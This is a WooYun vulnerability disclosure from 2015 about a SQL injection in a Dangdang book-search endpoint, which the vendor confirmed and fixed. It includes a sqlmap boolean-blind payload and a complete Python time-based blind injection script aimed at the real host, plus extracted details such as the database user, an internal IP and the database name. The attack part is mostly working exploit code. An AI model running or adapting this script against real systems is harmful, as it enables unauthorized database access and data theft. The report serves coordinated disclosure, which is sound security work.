当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113091

漏洞标题:当当网某处绕过过滤继续SQL注射(附验证脚本)

相关厂商:当当网

漏洞作者: 紫霞仙子

提交时间:2015-05-09 20:12

修复时间:2015-06-25 12:18

公开时间:2015-06-25 12:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-09: 细节已通知厂商并且等待厂商处理中
2015-05-11: 厂商已经确认,细节仅向厂商公开
2015-05-21: 细节向核心白帽子及相关领域专家公开
2015-05-31: 细节向普通白帽子公开
2015-06-10: 细节向实习白帽子公开
2015-06-25: 细节向公众公开

简要描述:

233

详细说明:

http://doogua.dangdang.com/book/search/
post:
class=1&text=1&type=all
sqlmap能跑出出来,当时识别不了数据库:
---
Parameter: class (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: class=-6622' OR 5646=5646 AND 'WTyJ'='WTyJ&text=1&type=all
---
脚本结果:
[Done] MySQL user is root@10.4.13.141
[Done] current database is dg_xiaoshuo

漏洞证明:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
headers = {'Content-Type':'application/x-www-form-urlencoded'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive MySQL User:'
user = ''
for i in range(1, 17):
for payload in payloads:
try:
payd = "if(ascii(mid(user(),%s,1)) = %s,sleep(5),0)" % (i, ord(payload))
conn = httplib.HTTPConnection('doogua.dangdang.com', timeout=3)
conn.request(method='POST',
url="/book/search/",
body='class=%s&text=1&type=all' % payd,
headers=headers)
start_time = time.time()
conn.getresponse()
conn.close()
print '.',
except:
user += payload
print '\n[in progress]', user,
break
print '\n[Done] MySQL user is %s' % user

修复方案:

~~

版权声明:转载请注明来源 紫霞仙子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-11 12:17

厂商回复:

感谢对当当安全的支持

最新状态:

暂无